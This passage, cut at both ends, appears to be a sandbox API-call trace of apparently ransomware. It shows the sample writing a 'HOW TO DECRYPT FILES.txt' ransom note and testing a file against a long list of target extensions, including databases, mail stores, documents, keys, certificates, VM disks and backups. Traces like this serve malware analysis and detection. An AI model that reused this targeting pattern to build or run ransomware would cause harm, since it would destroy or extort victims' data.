lpString2="Microsoft.WSMan.Runtime.ni.dll") returned -1 [0103.798] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\*.*") returned="*.*" [0103.798] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\" [0103.798] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\") returned="" [0103.798] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\HOW TO DECRYPT FILES.txt" [0103.798] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.wsman.run#\\86550fdda6994a9c192d7a0b9b59ee5b\\how to decrypt files.txt")) returned 0xffffffff [0103.798] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.wsman.run#\\86550fdda6994a9c192d7a0b9b59ee5b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.799] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.880] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.884] CloseHandle (hObject=0x90) returned 1 [0103.884] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\", lpString2="Microsoft.WSMan.Runtime.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll" [0103.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ems") returned 0 [0103.884] lstrlenA (lpString="*.ems") returned 5 [0103.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.db") returned 0 [0103.885] lstrlenA (lpString="*.db") returned 4 [0103.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dbf") returned 0 [0103.885] lstrlenA (lpString="*.dbf") returned 5 [0103.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.myox") returned 0 [0103.885] lstrlenA (lpString="*.myox") returned 6 [0103.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.myo") returned 0 [0103.885] lstrlenA (lpString="*.myo") returned 5 [0103.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbw") returned 0 [0103.885] lstrlenA (lpString="*.qbw") returned 5 [0103.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbb") returned 0 [0103.885] lstrlenA (lpString="*.qbb") returned 5 [0103.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbm") returned 0 [0103.885] lstrlenA (lpString="*.qbm") returned 5 [0103.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbo") returned 0 [0103.886] lstrlenA (lpString="*.qbo") returned 5 [0103.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbx") returned 0 [0103.886] lstrlenA (lpString="*.qbx") returned 5 [0103.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qba") returned 0 [0103.886] lstrlenA (lpString="*.qba") returned 5 [0103.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qby") returned 0 [0103.886] lstrlenA (lpString="*.qby") returned 5 [0103.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qbj") returned 0 [0103.886] lstrlenA (lpString="*.qbj") returned 5 [0103.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ofx") returned 0 [0103.886] lstrlenA (lpString="*.ofx") returned 5 [0103.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.qif") returned 0 [0103.886] lstrlenA (lpString="*.qif") returned 5 [0103.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mye") returned 0 [0103.886] lstrlenA (lpString="*.mye") returned 5 [0103.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mbox") returned 0 [0103.887] lstrlenA (lpString="*.mbox") returned 6 [0103.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.eml") returned 0 [0103.887] lstrlenA (lpString="*.eml") returned 5 [0103.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pst") returned 0 [0103.887] lstrlenA (lpString="*.pst") returned 5 [0103.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ost") returned 0 [0103.887] lstrlenA (lpString="*.ost") returned 5 [0103.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.idx") returned 0 [0103.887] lstrlenA (lpString="*.idx") returned 5 [0103.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dbx") returned 0 [0103.887] lstrlenA (lpString="*.dbx") returned 5 [0103.887] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.sql") returned 0 [0103.887] lstrlenA (lpString="*.sql") returned 5 [0103.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mdb") returned 0 [0103.888] lstrlenA (lpString="*.mdb") returned 5 [0103.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.fdb") returned 0 [0103.888] lstrlenA (lpString="*.fdb") returned 5 [0103.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.wab") returned 0 [0103.888] lstrlenA (lpString="*.wab") returned 5 [0103.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dat") returned 0 [0103.888] lstrlenA (lpString="*.dat") returned 5 [0103.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.txt") returned 0 [0103.888] lstrlenA (lpString="*.txt") returned 5 [0103.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.jpeg") returned 0 [0103.888] lstrlenA (lpString="*.jpeg") returned 6 [0103.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.jpg") returned 0 [0103.889] lstrlenA (lpString="*.jpg") returned 5 [0103.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.png") returned 0 [0103.889] lstrlenA (lpString="*.png") returned 5 [0103.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.php") returned 0 [0103.889] lstrlenA (lpString="*.php") returned 5 [0103.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.cs") returned 0 [0103.889] lstrlenA (lpString="*.cs") returned 4 [0103.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.cpp") returned 0 [0103.889] lstrlenA (lpString="*.cpp") returned 5 [0103.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.rar") returned 0 [0103.889] lstrlenA (lpString="*.rar") returned 5 [0103.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.zip") returned 0 [0103.889] lstrlenA (lpString="*.zip") returned 5 [0103.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.html") returned 0 [0103.890] lstrlenA (lpString="*.html") returned 6 [0103.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.htm") returned 0 [0103.890] lstrlenA (lpString="*.htm") returned 5 [0103.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.xlsx") returned 0 [0103.890] lstrlenA (lpString="*.xlsx") returned 6 [0103.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.xls") returned 0 [0103.890] lstrlenA (lpString="*.xls") returned 5 [0103.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mp4") returned 0 [0103.890] lstrlenA (lpString="*.mp4") returned 5 [0103.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ppt") returned 0 [0103.890] lstrlenA (lpString="*.ppt") returned 5 [0103.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pptx") returned 0 [0103.890] lstrlenA (lpString="*.pptx") returned 6 [0103.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.doc") returned 0 [0103.891] lstrlenA (lpString="*.doc") returned 5 [0103.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dot") returned 0 [0103.891] lstrlenA (lpString="*.dot") returned 5 [0103.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.docx") returned 0 [0103.891] lstrlenA (lpString="*.docx") returned 6 [0103.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.7z") returned 0 [0103.891] lstrlenA (lpString="*.7z") returned 4 [0103.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.tar") returned 0 [0103.891] lstrlenA (lpString="*.tar") returned 5 [0103.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.bz2") returned 0 [0103.891] lstrlenA (lpString="*.bz2") returned 5 [0103.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.gz") returned 0 [0103.891] lstrlenA (lpString="*.gz") returned 4 [0103.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mkv") returned 0 [0103.892] lstrlenA (lpString="*.mkv") returned 5 [0103.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.eml") returned 0 [0103.892] lstrlenA (lpString="*.eml") returned 5 [0103.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.msg") returned 0 [0103.892] lstrlenA (lpString="*.msg") returned 5 [0103.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.edb") returned 0 [0103.892] lstrlenA (lpString="*.edb") returned 5 [0103.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.accdb") returned 0 [0103.892] lstrlenA (lpString="*.accdb") returned 7 [0103.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.odb") returned 0 [0103.892] lstrlenA (lpString="*.odb") returned 5 [0103.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.java") returned 0 [0103.892] lstrlenA (lpString="*.java") returned 6 [0103.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.asm") returned 0 [0103.893] lstrlenA (lpString="*.asm") returned 5 [0103.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pfx") returned 0 [0103.893] lstrlenA (lpString="*.pfx") returned 5 [0103.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pem") returned 0 [0103.893] lstrlenA (lpString="*.pem") returned 5 [0103.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.p12") returned 0 [0103.893] lstrlenA (lpString="*.p12") returned 5 [0103.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.gpg") returned 0 [0103.894] lstrlenA (lpString="*.gpg") returned 5 [0103.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.vsd") returned 0 [0103.894] lstrlenA (lpString="*.vsd") returned 5 [0103.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.odg") returned 0 [0103.894] lstrlenA (lpString="*.odg") returned 5 [0103.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.raw") returned 0 [0103.894] lstrlenA (lpString="*.raw") returned 5 [0103.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.nef") returned 0 [0103.894] lstrlenA (lpString="*.nef") returned 5 [0103.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.svg") returned 0 [0103.894] lstrlenA (lpString="*.svg") returned 5 [0103.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.psd") returned 0 [0103.894] lstrlenA (lpString="*.psd") returned 5 [0103.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.vmx") returned 0 [0103.895] lstrlenA (lpString="*.vmx") returned 5 [0103.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.vmdk") returned 0 [0103.895] lstrlenA (lpString="*.vmdk") returned 6 [0103.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.vdi") returned 0 [0103.895] lstrlenA (lpString="*.vdi") returned 5 [0103.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.lay6") returned 0 [0103.895] lstrlenA (lpString="*.lay6") returned 6 [0103.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mpeg") returned 0 [0103.895] lstrlenA (lpString="*.mpeg") returned 6 [0103.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.djvu") returned 0 [0103.895] lstrlenA (lpString="*.djvu") returned 6 [0103.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.tiff") returned 0 [0103.895] lstrlenA (lpString="*.tiff") returned 6 [0103.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.backup") returned 0 [0103.896] lstrlenA (lpString="*.backup") returned 8 [0103.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pdf") returned 0 [0103.896] lstrlenA (lpString="*.pdf") returned 5 [0103.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.cert") returned 0 [0103.896] lstrlenA (lpString="*.cert") returned 6 [0103.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.docm") returned 0 [0103.896] lstrlenA (lpString="*.docm") returned 6 [0103.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.xlsm") returned 0 [0103.896] lstrlenA (lpString="*.xlsm") returned 6 [0103.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dwg") returned 0 [0103.896] lstrlenA (lpString="*.dwg") returned 5 [0103.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.nd") returned 0 [0103.896] lstrlenA (lpString="*.nd") returned 4 [0103.896] PathMatchSpecA 